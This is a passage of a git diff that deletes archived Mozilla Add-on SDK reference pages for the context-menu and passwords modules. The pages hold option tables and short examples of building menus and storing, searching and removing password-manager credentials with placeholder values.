- '});' +
- 'self.on("click", function (node, data) {' +
- ' var imgs = document.querySelectorAll("img");' +
- ' var imgSrcs = [];' +
- ' for (var i = 0 ; i &lt; imgs.length; i++)' +
- ' imgSrcs.push(imgs[i].src);' +
- ' self.postMessage(imgSrcs);' +
- '});',
- onMessage: function (imgSrcs) {
- openImageEditor(imgSrcs);
- }
-});</pre>
-<p>Show a "Search With" menu when the user right-clicks an anchor that searches Google or Wikipedia with the text contained in the anchor:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-var googleItem = cm.Item({
- label: "Google",
- data: "http://www.google.com/search?q="
-});
-var wikipediaItem = cm.Item({
- label: "Wikipedia",
- data: "http://en.wikipedia.org/wiki/Special:Search?search="
-});
-var searchMenu = cm.Menu({
- label: "Search With",
- context: cm.SelectorContext("a[href]"),
- contentScript: 'self.on("click", function (node, data) {' +
- ' var searchURL = data + node.textContent;' +
- ' window.location.href = searchURL;' +
- '});',
- items: [googleItem, wikipediaItem]
-});</pre>
-<h2 id="Globals">Globals</h2>
-<h3 id="Constructors">Constructors</h3>
-<h4 class="addon-sdk-api-name" id="Item(options)"><code>Item(options)</code></h4>
-<p>Creates a labeled menu item that can perform an action when clicked.</p>
-<h5 id="Parameters">Parameters</h5>
-<p><strong>options : object</strong><br>
- Required options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>label</td>
- <td>string</td>
- <td>
- <p>The item's label. It must either be a string or an object that implements <code>toString()</code>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p>Optional options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>image</td>
- <td>string</td>
- <td>
- <p>The item's icon, a string URL. The URL can be remote, a reference to an image in the add-on's <code>data</code> directory, or a data URI.</p>
- </td>
- </tr>
- <tr>
- <td>data</td>
- <td>string</td>
- <td>
- <p>An optional arbitrary value to associate with the item. It must be either a string or an object that implements <code>toString()</code>. It will be passed to click listeners.</p>
- </td>
- </tr>
- <tr>
- <td>context</td>
- <td>value</td>
- <td>
- <p>If the item is contained in the top-level context menu, this declaratively specifies the context under which the item will appear; see Specifying Contexts above.</p>
- </td>
- </tr>
- <tr>
- <td>contentScript</td>
- <td>string,array</td>
- <td>
- <p>If the item is contained in the top-level context menu, this is the content script or an array of content scripts that the item can use to interact with the page.</p>
- </td>
- </tr>
- <tr>
- <td>contentScriptFile</td>
- <td>string,array</td>
- <td>
- <p>If the item is contained in the top-level context menu, this is the local file URL of the content script or an array of such URLs that the item can use to interact with the page.</p>
- </td>
- </tr>
- <tr>
- <td>onMessage</td>
- <td>function</td>
- <td>
- <p>If the item is contained in the top-level context menu, this function will be called when the content script calls <code>self.postMessage</code>. It will be passed the data that was passed to <code>postMessage</code>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<h4 class="addon-sdk-api-name" id="Menu(options)"><code>Menu(options)</code></h4>
-<p>Creates a labeled menu item that expands into a submenu.</p>
-<h5 id="Parameters_2">Parameters</h5>
-<p><strong>options : object</strong><br>
- Required options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>label</td>
- <td>string</td>
- <td>
- <p>The item's label. It must either be a string or an object that implements <code>toString()</code>.</p>
- </td>
- </tr>
- <tr>
- <td>items</td>
- <td>array</td>
- <td>
- <p>An array of menu items that the menu will contain. Each must be an <code>Item</code>, <code>Menu</code>, or <code>Separator</code>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p>Optional options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>image</td>
- <td>string</td>
- <td>
- <p>The menu's icon, a string URL. The URL can be remote, a reference to an image in the add-on's <code>data</code> directory, or a data URI.</p>
- </td>
- </tr>
- <tr>
- <td>context</td>
- <td>value</td>
- <td>
- <p>If the menu is contained in the top-level context menu, this declaratively specifies the context under which the menu will appear; see Specifying Contexts above.</p>
- </td>
- </tr>
- <tr>
- <td>contentScript</td>
- <td>string,array</td>
- <td>
- <p>If the menu is contained in the top-level context menu, this is the content script or an array of content scripts that the menu can use to interact with the page.</p>
- </td>
- </tr>
- <tr>
- <td>contentScriptFile</td>
- <td>string,array</td>
- <td>
- <p>If the menu is contained in the top-level context menu, this is the local file URL of the content script or an array of such URLs that the menu can use to interact with the page.</p>
- </td>
- </tr>
- <tr>
- <td>onMessage</td>
- <td>function</td>
- <td>
- <p>If the menu is contained in the top-level context menu, this function will be called when the content script calls <code>self.postMessage</code>. It will be passed the data that was passed to <code>postMessage</code>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<h4 class="addon-sdk-api-name" id="Separator()"><code>Separator()</code></h4>
-<p>Creates a menu separator.</p>
-<h4 class="addon-sdk-api-name" id="PageContext()"><code>PageContext()</code></h4>
-<p>Creates a page context. See Specifying Contexts above.</p>
-<h4 class="addon-sdk-api-name" id="SelectionContext()"><code>SelectionContext()</code></h4>
-<p>Creates a context that occurs when a page contains a selection. See Specifying Contexts above.</p>
-<h4 class="addon-sdk-api-name" id="SelectorContext(selector)"><code>SelectorContext(selector)</code></h4>
-<p>Creates a context that matches a given CSS selector. See Specifying Contexts above.</p>
-<h5 id="Parameters_3">Parameters</h5>
-<p><strong>selector : string</strong><br>
- A CSS selector.</p>
-<h4 class="addon-sdk-api-name" id="URLContext(matchPattern)"><code>URLContext(matchPattern)</code></h4>
-<p>Creates a context that matches pages with particular URLs. See Specifying Contexts above.</p>
-<h5 id="Parameters_4">Parameters</h5>
-<p><strong>matchPattern : string,array</strong><br>
- A <a href="/en-US/Add-ons/SDK/Low-Level_APIs/util_match-pattern">match pattern</a> string, regexp or an array of match pattern strings or regexps.</p>
-<h4 class="addon-sdk-api-name" id="PredicateContext(predicateFunction)"><code>PredicateContext(predicateFunction)</code></h4>
-<div class="geckoVersionNote">
- <p>New in Firefox 29</p>
-</div>
-<p>Creates a context that occurs when predicateFunction returns a true value. See Specifying Contexts above.</p>
-<h5 id="Parameters_5">Parameters</h5>
-<p><strong>predicateFunction : function(context)</strong><br>
- A function which will be called with an object argument that provide information about the invocation context. <code>context</code> object properties:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Property</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>documentType</code></td>
- <td>The MIME type of the document the menu was invoked in. E.g. <code>text/html</code> for HTML pages, <code>application/xhtml+xml</code> for XHTML, or <code>image/jpeg</code> if viewing an image directly.</td>
- </tr>
- <tr>
- <td><code>documentURL</code></td>
- <td>The URL of the document the menu was invoked in.</td>
- </tr>
- <tr>
- <td><code>targetName</code></td>
- <td>The name of the DOM element that the menu was invoked on, in lower-case.</td>
- </tr>
- <tr>
- <td><code>targetID</code></td>
- <td>The <code>id</code> attribute of the element that the menu was invoked on, or <code>null</code> if not set.</td>
- </tr>
- <tr>
- <td><code>isEditable</code></td>
- <td><code>true</code> if the menu was invoked in an editable element, and that element isn't disabled or read-only.  This includes non-input elements with the <code>contenteditable</code> attribute set to <code>true</code>.</td>
- </tr>
- <tr>
- <td><code>selectionText</code></td>
- <td>The current selection as a text string, or <code>null</code>. If the menu was invoked in an input text box or area, this is the selection of that element, otherwise the selection in the contents of the window.</td>
- </tr>
- <tr>
- <td><code>srcURL</code></td>
- <td>The <code>src</code> URL of the element that the menu was invoked on, or <code>null</code> if it doesn't have one.</td>
- </tr>
- <tr>
- <td><code>linkURL</code></td>
- <td>The <code>href</code> URL of the element that the menu was invoked on, or <code>null</code> if it doesn't have one.</td>
- </tr>
- <tr>
- <td><code>value</code></td>
- <td>The current contents of a input text box or area if the menu was invoked in one, <code>null</code> otherwise.</td>
- </tr>
- </tbody>
-</table>
-<h2 id="Item">Item</h2>
-<p>A labeled menu item that can perform an action when clicked.</p>
-<h3 id="Methods">Methods</h3>
-<h4 class="addon-sdk-api-name" id="destroy()"><code>destroy()</code></h4>
-<p>Permanently removes the item from its parent menu and frees its resources. The item must not be used afterward. If you need to remove the item from its parent menu but use it afterward, call <code>removeItem()</code> on the parent menu instead.</p>
-<h3 id="Properties">Properties</h3>
-<h4 class="addon-sdk-api-name" id="label"><code>label</code></h4>
-<p>The menu item's label. You can set this after creating the item to update its label later.</p>
-<h4 class="addon-sdk-api-name" id="image"><code>image</code></h4>
-<p>The item's icon, a string URL. The URL can be remote, a reference to an image in the add-on's <code>data</code> directory, or a data URI. You can set this after creating the item to update its image later. To remove the item's image, set it to <code>null</code>.</p>
-<h4 class="addon-sdk-api-name" id="data"><code>data</code></h4>
-<p>An optional arbitrary value to associate with the item. It must be either a string or an object that implements <code>toString()</code>. It will be passed to click listeners. You can set this after creating the item to update its data later.</p>
-<h4 class="addon-sdk-api-name" id="context"><code>context</code></h4>
-<p>A list of declarative contexts for which the menu item will appear in the context menu. Contexts can be added by calling <code>context.add()</code> and removed by called <code>context.remove()</code>.</p>
-<h4 class="addon-sdk-api-name" id="parentMenu"><code>parentMenu</code></h4>
-<p>The item's parent <code>Menu</code>, or <code>null</code> if the item is contained in the top-level context menu. This property is read-only. To add the item to a new menu, call that menu's <code>addItem()</code> method.</p>
-<h4 class="addon-sdk-api-name" id="contentScript"><code>contentScript</code></h4>
-<p>The content script or the array of content scripts associated with the menu item during creation.</p>
-<h4 class="addon-sdk-api-name" id="contentScriptFile"><code>contentScriptFile</code></h4>
-<p>The URL of a content script or the array of such URLs associated with the menu item during creation.</p>
-<h3 id="Events">Events</h3>
-<h4 class="addon-sdk-api-name" id="message"><code>message</code></h4>
-<p>If you listen to this event you can receive message events from content scripts associated with this menu item. When a content script posts a message using <code>self.postMessage()</code>, the message is delivered to the add-on code in the menu item's <code>message</code> event.</p>
-<h5 id="Arguments">Arguments</h5>
-<p><strong>value</strong> : Listeners are passed a single argument which is the message posted from the content script. The message can be any <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/using_port#JSON-Serializable_Values">JSON-serializable value</a>.</p>
-<h2 id="Menu">Menu</h2>
-<p>A labeled menu item that expands into a submenu.</p>
-<h3 id="Methods_2">Methods</h3>
-<h4 class="addon-sdk-api-name" id="addItem(item)"><code>addItem(item)</code></h4>
-<p>Appends a menu item to the end of the menu. If the item is already contained in another menu or in the top-level context menu, it's automatically removed first. If the item is already contained in this menu it will just be moved to the end of the menu.</p>
-<h5 id="Parameters_6">Parameters</h5>
-<p><strong>item : Item,Menu,Separator</strong><br>
- The <code>Item</code>, <code>Menu</code>, or <code>Separator</code> to add to the menu.</p>
-<h4 class="addon-sdk-api-name" id="removeItem(item)"><code>removeItem(item)</code></h4>
-<p>Removes the given menu item from the menu. If the menu does not contain the item, this method does nothing.</p>
-<h5 id="Parameters_7">Parameters</h5>
-<p><strong>item : Item,Menu,Separator</strong><br>
- The menu item to remove from the menu.</p>
-<h4 class="addon-sdk-api-name" id="destroy()_2"><code>destroy()</code></h4>
-<p>Permanently removes the menu from its parent menu and frees its resources. The menu must not be used afterward. If you need to remove the menu from its parent menu but use it afterward, call <code>removeItem()</code> on the parent menu instead.</p>
-<h3 id="Properties_2">Properties</h3>
-<h4 class="addon-sdk-api-name" id="label_2"><code>label</code></h4>
-<p>The menu's label. You can set this after creating the menu to update its label later.</p>
-<h4 class="addon-sdk-api-name" id="items"><code>items</code></h4>
-<p>An array containing the items in the menu. The array is read-only, meaning that modifications to it will not affect the menu. However, setting this property to a new array will replace all the items currently in the menu with the items in the new array.</p>
-<h4 class="addon-sdk-api-name" id="image_2"><code>image</code></h4>
-<p>The menu's icon, a string URL. The URL can be remote, a reference to an image in the add-on's <code>data</code> directory, or a data URI. You can set this after creating the menu to update its image later. To remove the menu's image, set it to <code>null</code>.</p>
-<h4 class="addon-sdk-api-name" id="context_2"><code>context</code></h4>
-<p>A list of declarative contexts for which the menu will appear in the context menu. Contexts can be added by calling <code>context.add()</code> and removed by called <code>context.remove()</code>.</p>
-<h4 class="addon-sdk-api-name" id="parentMenu_2"><code>parentMenu</code></h4>
-<p>The menu's parent <code>Menu</code>, or <code>null</code> if the menu is contained in the top-level context menu. This property is read-only. To add the menu to a new menu, call that menu's <code>addItem()</code> method.</p>
-<h4 class="addon-sdk-api-name" id="contentScript_2"><code>contentScript</code></h4>
-<p>The content script or the array of content scripts associated with the menu during creation.</p>
-<h4 class="addon-sdk-api-name" id="contentScriptFile_2"><code>contentScriptFile</code></h4>
-<p>The URL of a content script or the array of such URLs associated with the menu during creation.</p>
-<h3 id="Events_2">Events</h3>
-<h4 class="addon-sdk-api-name" id="message_2"><code>message</code></h4>
-<p>If you listen to this event you can receive message events from content scripts associated with this menu item. When a content script posts a message using <code>self.postMessage()</code>, the message is delivered to the add-on code in the menu item's <code>message</code> event.</p>
-<h5 id="Arguments_2">Arguments</h5>
-<p><strong>value</strong> : Listeners are passed a single argument which is the message posted from the content script. The message can be any <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/using_port#JSON-Serializable_Values">JSON-serializable value</a>.</p>
-<h2 id="Separator">Separator</h2>
-<p>A menu separator. Separators can be contained only in <code>Menu</code>s, not in the top-level context menu.</p>
-<h3 id="Methods_3">Methods</h3>
-<h4 class="addon-sdk-api-name" id="destroy()_3"><code>destroy()</code></h4>
-<p>Permanently removes the separator from its parent menu and frees its resources. The separator must not be used afterward. If you need to remove the separator from its parent menu but use it afterward, call <code>removeItem()</code> on the parent menu instead.</p>
-<h3 id="Properties_3">Properties</h3>
-<h4 class="addon-sdk-api-name" id="parentMenu_3"><code>parentMenu</code></h4>
-<p>The separator's parent <code>Menu</code>. This property is read-only. To add the separator to a new menu, call that menu's <code>addItem()</code> method.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/index.html
deleted file mode 100644
index 32b39d045b..0000000000
--- a/files/ru/mozilla/add-ons/sdk/high-level_apis/index.html
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: High-Level APIs
-slug: Mozilla/Add-ons/SDK/High-Level_APIs
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs
----
-<p>Modules listed on this page implement high-level APIs for building add-ons: creating user interfaces, interacting with the web, and interacting with the browser.</p>
-<p>Unless the documentation explicitly says otherwise, all these modules are "Stable": we'll avoid making incompatible changes to them. {{ LandingPageListSubpages ("/en-US/Add-ons/SDK/High-Level_APIs", 5) }}</p>
diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html
deleted file mode 100644
index 535385e895..0000000000
--- a/files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html
+++ /dev/null
@@ -1,525 +0,0 @@
----
-title: passwords
-slug: Mozilla/Add-ons/SDK/High-Level_APIs/passwords
-translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs/passwords
----
-<div class="note">
- <p>Stable</p>
-</div>
-<p><span class="seoSummary">Interact with Firefox's <a href="http://support.mozilla.com/en-US/kb/Remembering%20passwords">Password Manager</a> to add, retrieve and remove stored credentials.</span></p>
-<h2 id="Usage">Usage</h2>
-<p>A <em>credential</em> is the set of information a user supplies to authenticate herself with a service. Typically a credential consists of a username and a password.</p>
-<p>Using this module you can:</p>
-<ol>
- <li>
- <p><strong>Search</strong> for credentials which have been stored in the Password Manager. You can then use the credentials to access their related service (for example, by logging into a web site).</p>
- </li>
- <li>
- <p><strong>Store</strong> credentials in the Password Manager. You can store different sorts of credentials, as outlined in the "Credentials" section below.</p>
- </li>
- <li>
- <p><strong>Remove</strong> stored credentials from the Password Manager.</p>
- </li>
-</ol>
-<h3 id="Credentials">Credentials</h3>
-<p>In this API, credentials are represented by objects.</p>
-<p>You create credential objects to pass into the API, and the API also returns credential objects to you. The sections below explain both the properties you should define on credential objects and the properties you can expect on credential objects returned by the API.</p>
-<p>All credential objects include <code>username</code> and <code>password</code> properties. Different sorts of stored credentials include various additional properties, as outlined in this section.</p>
-<p>You can use the Passwords API with three sorts of credentials:</p>
-<ul>
- <li>Add-on credentials</li>
- <li>HTML form credentials</li>
- <li>HTTP Authentication credentials</li>
-</ul>
-<h4 id="Add-on_Credential">Add-on Credential</h4>
-<p>These are associated with your add-on rather than a particular web site. They contain the following properties:</p>
-<table class="standard-table">
- <colgroup>
- <col>
- </colgroup>
- <tbody>
- <tr>
- <td><code>username</code></td>
- <td>The username.</td>
- </tr>
- <tr>
- <td><code>password</code></td>
- <td>The password.</td>
- </tr>
- <tr>
- <td><code>url</code></td>
- <td>
- <p>For an add-on credential, this property is of the form:<br>
- <code>addon:&lt;addon-id&gt;</code>, where <code>&lt;addon-id&gt;</code> is the add-on's <a href="/en-US/Add-ons/SDK/Guides/Program_ID"> Program ID</a>.</p>
- <p>You don't supply this value when storing an add-on credential: it is automatically generated for you. However, you can use it to work out which stored credentials belong to your add-on by comparing it with the <code>uri</code> property of the <a href="/en-US/Add-ons/SDK/High-Level_APIs/self"><code>self</code></a> module.</p>
- </td>
- </tr>
- <tr>
- <td><code>realm</code></td>
- <td>
- <p>You can use this as a name for the credential, to distinguish it from any other credentials you've stored.</p>
- <p>The realm is displayed in Firefox's Password Manager, under "Site", in brackets after the URL. For example, if the realm for a credential is "User Registration", then its "Site" field will look something like:</p>
- <code>addon:jid0-01mBBFyu0ZAXCFuB1JYKooSTKIc (User Registration)</code></td>
- </tr>
- </tbody>
-</table>
-<h4 id="HTML_Form_Credential">HTML Form Credential</h4>
-<p>If a web service uses HTML forms to authenticate its users, then the corresponding credential is an HTML Form credential.</p>
-<p>It contains the following properties:</p>
-<table class="standard-table">
- <colgroup>
- <col>
- </colgroup>
- <tbody>
- <tr>
- <td><code>username</code></td>
- <td>The username.</td>
- </tr>
- <tr>
- <td><code>password</code></td>
- <td>The password.</td>
- </tr>
- <tr>
- <td><code>url</code></td>
- <td>The URL for the web service which requires the credential. You should omit anything after the hostname and (optional) port.</td>
- </tr>
- <tr>
- <td><code>formSubmitURL</code></td>
- <td>The value of the form's "action" attribute. You should omit anything after the hostname and (optional) port. If the form doesn't contain an "action" attribute, this property should match the <code>url</code> property.</td>
- </tr>
- <tr>
- <td><code>usernameField</code></td>
- <td>The value of the "name" attribute for the form's username field.</td>
- </tr>
- <tr>
- <td><code>passwordField</code></td>
- <td>The value of the "name" attribute for the form's password field.</td>
- </tr>
- </tbody>
-</table>
-<p>So: given a form at <code>http://www.example.com/login</code> with the following HTML:</p>
-<pre class="brush: html">&lt;form action="http://login.example.com/foo/authenticate.cgi"&gt;
- &lt;div&gt;Please log in.&lt;/div&gt;
- &lt;label&gt;Username:&lt;/label&gt; &lt;input type="text" name="uname"&gt;
- &lt;label&gt;Password:&lt;/label&gt; &lt;input type="password" name="pword"&gt;
-&lt;/form&gt;</pre>
-<p>The corresponding values for the credential (excluding username and password) should be:</p>
-<pre> url: "http://www.example.com"
- formSubmitURL: "http://login.example.com"
- usernameField: "uname"
- passwordField: "pword"
-</pre>
-<p>Note that for both <code>url</code> and <code>formSubmitURL</code>, the portion of the URL after the hostname is omitted.</p>
-<h4 id="HTTP_Authentication_Credential">HTTP Authentication Credential</h4>
-<p>These are used to authenticate the user to a web site which uses HTTP Authentication, as detailed in <a href="http://tools.ietf.org/html/rfc2617">RFC 2617</a>. They contain the following properties:</p>
-<table class="standard-table">
- <colgroup>
- <col>
- </colgroup>
- <tbody>
- <tr>
- <td><code>username</code></td>
- <td>The username.</td>
- </tr>
- <tr>
- <td><code>password</code></td>
- <td>The password.</td>
- </tr>
- <tr>
- <td><code>url</code></td>
- <td>The URL for the web service which requires the credential. You should omit anything after the hostname and (optional) port.</td>
- </tr>
- <tr>
- <td><code>realm</code></td>
- <td>
- <p>The WWW-Authenticate response header sent by the server may include a "realm" field as detailed in <a href="http://tools.ietf.org/html/rfc2617">RFC 2617</a>. If it does, this property contains the value for the "realm" field. Otherwise, it is omitted.</p>
- <p>The realm is displayed in Firefox's Password Manager, under "Site", in brackets after the URL.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p>So: if a web server at <code>http://www.example.com</code> requested authentication with a response code like this:</p>
-<pre> HTTP/1.0 401 Authorization Required
- Server: Apache/1.3.27
- WWW-Authenticate: Basic realm="ExampleCo Login"
-</pre>
-<p>The corresponding values for the credential (excluding username and password) should be:</p>
-<pre> url: "http://www.example.com"
- realm: "ExampleCo Login"
-</pre>
-<h3 id="onComplete_and_onError">onComplete and onError</h3>
-<p>This API is explicitly asynchronous, so all its functions take two callback functions as additional options: <code>onComplete</code> and <code>onError</code>.</p>
-<p><code>onComplete</code> is called when the operation has completed successfully and <code>onError</code> is called when the function encounters an error.</p>
-<p>Because the <code>search</code> function is expected to return a list of matching credentials, its <code>onComplete</code> option is mandatory. Because the other functions don't return a value in case of success their <code>onComplete</code> options are optional.</p>
-<p>For all functions, <code>onError</code> is optional.</p>
-<h2 id="Globals">Globals</h2>
-<h3 id="Functions">Functions</h3>
-<h4 class="addon-sdk-api-name" id="search(options)"><code>search(options)</code></h4>
-<p>This function is used to retrieve a credential, or a list of credentials, stored in the Password Manager.</p>
-<p>You pass it any subset of the possible properties a credential can contain. Credentials which match all the properties you supplied are returned as an argument to the <code>onComplete</code> callback.</p>
-<p>So if you pass in an empty set of properties, all stored credentials are returned:</p>
-<pre class="brush: js">function show_all_passwords() {
- require("sdk/passwords").search({
- onComplete: function onComplete(credentials) {
- credentials.forEach(function(credential) {
- console.log(credential.username);
- console.log(credential.password);
- });
- }
- });
- }</pre>
-<p>If you pass it a single property, only credentials matching that property are returned:</p>
-<pre class="brush: js">function show_passwords_for_joe() {
- require("sdk/passwords").search({
- username: "joe",
- onComplete: function onComplete(credentials) {
- credentials.forEach(function(credential) {
- console.log(credential.username);
- console.log(credential.password);
- });
- }
- });
- }</pre>
-<p>If you pass more than one property, returned credentials must match all of them:</p>
-<pre class="brush: js">function show_google_password_for_joe() {
- require("sdk/passwords").search({
- username: "joe",
- url: "https://www.google.com",
- onComplete: function onComplete(credentials) {
- credentials.forEach(function(credential) {
- console.log(credential.username);
- console.log(credential.password);
- });
- }
- });
- }</pre>
-<p>To retrieve only credentials associated with your add-on, use the <code>url</code> property, initialized from <code>self.uri</code>:</p>
-<pre class="brush: js">function show_my_addon_passwords() {
- require("sdk/passwords").search({
- url: require("sdk/self").uri,
- onComplete: function onComplete(credentials) {
- credentials.forEach(function(credential) {
- console.log(credential.username);
- console.log(credential.password);
- });
- }
- });
- }</pre>
-<h5 id="Parameters">Parameters</h5>
-<p><strong>options : object</strong><br>
- Required options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>onComplete</td>
- <td>function</td>
- <td>
- <p>The callback function that is called once the function completes successfully. It is passed all the matching credentials as a list. This is the only mandatory option.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p>Optional options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>username</td>
- <td>string</td>
- <td>
- <p>The username for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>password</td>
- <td>string</td>
- <td>
- <p>The password for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>url</td>
- <td>string</td>
- <td>
- <p>The URL associated with the credential.</p>
- </td>
- </tr>
- <tr>
- <td>formSubmitURL</td>
- <td>string</td>
- <td>
- <p>The URL an HTML form credential is submitted to.</p>
- </td>
- </tr>
- <tr>
- <td>realm</td>
- <td>string</td>
- <td>
- <p>For HTTP Authentication credentials, the realm for which the credential was requested. For add-on credentials, a name for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>usernameField</td>
- <td>string</td>
- <td>
- <p>The value of the <code>name</code> attribute for the user name input field in a form.</p>
- </td>
- </tr>
- <tr>
- <td>passwordField</td>
- <td>string</td>
- <td>
- <p>The value of the <code>name</code> attribute for the password input field in a form.</p>
- </td>
- </tr>
- <tr>
- <td>onError</td>
- <td>function</td>
- <td>
- <p>The callback function that is called if the function failed. The callback is passed an <code>error</code> containing a reason of a failure: this is an <a href="https://developer.mozilla.org/en/nsIException">nsIException</a> object.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<h4 class="addon-sdk-api-name" id="store(options)"><code>store(options)</code></h4>
-<p>This function is used to store a credential in the Password Manager.</p>
-<p>It takes an <code>options</code> object as an argument: this contains all the properties for the new credential.</p>
-<p>As different sorts of credentials contain different properties, the appropriate options differ depending on the sort of credential being stored.</p>
-<p>To store an add-on credential:</p>
-<pre class="brush: js">require("sdk/passwords").store({
- realm: "User Registration",
- username: "joe",
- password: "SeCrEt123",
-});</pre>
-<p>To store an HTML form credential:</p>
-<pre class="brush: js">require("sdk/passwords").store({
- url: "http://www.example.com",
- formSubmitURL: "http://login.example.com",
- username: "joe",
- usernameField: "uname",
- password: "SeCrEt123",
- passwordField: "pword"
-});</pre>
-<p>To store an HTTP Authentication credential:</p>
-<pre class="brush: js">require("sdk/passwords").store({
- url: "http://www.example.com",
- realm: "ExampleCo Login",
- username: "joe",
- password: "SeCrEt123",
-});</pre>
-<p>See "Credentials" above for more details on how to set these properties.</p>
-<p>The options parameter may also include <code>onComplete</code> and <code>onError</code> callback functions, which are called when the function has completed successfully and when it encounters an error, respectively. These options are both optional.</p>
-<h5 id="Parameters_2">Parameters</h5>
-<p><strong>options : object</strong><br>
- Required options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>username</td>
- <td>string</td>
- <td>
- <p>The username for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>password</td>
- <td>string</td>
- <td>
- <p>The password for the credential.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p>Optional options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>url</td>
- <td>string</td>
- <td>
- <p>The URL to which the credential applies. Omitted for add-on credentials.</p>
- </td>
- </tr>
- <tr>
- <td>formSubmitURL</td>
- <td>string</td>
- <td>
- <p>The URL a form-based credential was submitted to. Omitted for add-on credentials and HTTP Authentication credentials.</p>
- </td>
- </tr>
- <tr>
- <td>realm</td>
- <td>string</td>
- <td>
- <p>For HTTP Authentication credentials, the realm for which the credential was requested. For add-on credentials, a name for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>usernameField</td>
- <td>string</td>
- <td>
- <p>The value of the <code>name</code> attribute for the username input in a form. Omitted for add-on credentials and HTTP Authentication credentials.</p>
- </td>
- </tr>
- <tr>
- <td>passwordField</td>
- <td>string</td>
- <td>
- <p>The value of the <code>name</code> attribute for the password input in a form. Omitted for add-on credentials and HTTP Authentication credentials.</p>
- </td>
- </tr>
- <tr>
- <td>onComplete</td>
- <td>function</td>
- <td>
- <p>The callback function that is called once the function completes successfully.</p>
- </td>
- </tr>
- <tr>
- <td>onError</td>
- <td>function</td>
- <td>
- <p>The callback function that is called if the function failed. The callback is passed an <code>error</code> argument: this is an <a href="https://developer.mozilla.org/en/nsIException">nsIException</a> object.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<h4 class="addon-sdk-api-name" id="remove(options)"><code>remove(options)</code></h4>
-<p>Removes a stored credential. You supply it all the properties of the credential to remove, along with optional <code>onComplete</code> and <code>onError</code> callbacks.</p>
-<p>Because you must supply all the credential's properties, it may be convenient to call <code>search</code> first, and use its output as the input to <code>remove</code>. For example, to remove all of joe's stored credentials:</p>
-<pre class="brush: js">require("sdk/passwords").search({
- username: "joe",
- onComplete: function onComplete(credentials) {
- credentials.forEach(require("sdk/passwords").remove);
- })
-});</pre>
-<p>To change an existing credential just call <code>store</code> after <code>remove</code> succeeds:</p>
-<pre class="brush: js">require("sdk/passwords").remove({
- realm: "User Registration",
- username: "joe",
- password: "SeCrEt123"
- onComplete: function onComplete() {
- require("sdk/passwords").store({
- realm: "User Registration",
- username: "joe",
- password: "{new password}"
- })
- }
-});</pre>
-<h5 id="Parameters_3">Parameters</h5>
-<p><strong>options : object</strong><br>
- Required options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>username</td>
- <td>string</td>
- <td>
- <p>The username for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>password</td>
- <td>string</td>
- <td>
- <p>The password for the credential.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p>Optional options:</p>
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>url</td>
- <td>string</td>
- <td>
- <p>The URL to which the credential applies. Omitted for add-on credentials.</p>
- </td>
- </tr>
- <tr>
- <td>formSubmitURL</td>
- <td>string</td>
- <td>
- <p>The URL a form-based credential was submitted to. Omitted for add-on credentials and HTTP Authentication credentials.</p>
- </td>
- </tr>
- <tr>
- <td>realm</td>
- <td>string</td>
- <td>
